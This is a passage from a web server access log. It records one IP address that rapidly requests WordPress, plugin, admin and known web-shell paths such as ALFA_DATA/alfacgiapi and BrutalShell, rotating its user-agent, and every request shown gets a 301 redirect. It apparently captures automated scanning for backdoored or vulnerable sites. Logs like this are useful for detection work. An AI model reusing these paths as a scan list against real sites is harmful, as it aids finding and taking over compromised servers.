795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:17:53 +0300] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:53 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:54 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:17:54 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:55 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:55 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:56 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:17:56 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:17:57 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:57 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:17:57 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:17:58 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:58 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:59 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:59 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:59 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:00 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:18:00 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:18:01 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:01 +0300] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:18:02 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:02 +0300] "GET /wp-admin/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:18:03 +0300] "GET /assets/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:18:03 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:03 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:04 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:04 +0300] "GET /wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:05 +0300] "GET /wp-admin/js/widget/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:05 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:05 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:06 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:06 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:18:07 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:07 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:18:08 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:08 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:08 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:09 +0300] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:18:09 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:10 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:18:10 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:18:10 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:11 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:11 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:12 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:12 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:13 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:13 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:13 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:18:14 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:14 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:15 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:18:15 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:18:15 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:16 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:18:16 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:17 +0300] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:17 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:17 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:18 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:18 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:19 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:19 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:18:20 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:20 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:18:20 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:21 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:21 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:18:22 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:22 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:23 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:23 +0300] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:23 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:24 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:18:24 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:18:25 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:18:25 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:25 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:26 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:18:26 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:27 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:18:27 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:18:27 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:28 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:28 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:29 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:29 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:29 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:30 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:30 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:31 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:31 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:18:32 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:32 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:18:32 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:33 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:33 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:34 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:34 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:35 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:35 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:35 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:18:36 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:36 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:37 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:37 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:18:38 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:18:38 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:18:38 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:18:39 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; 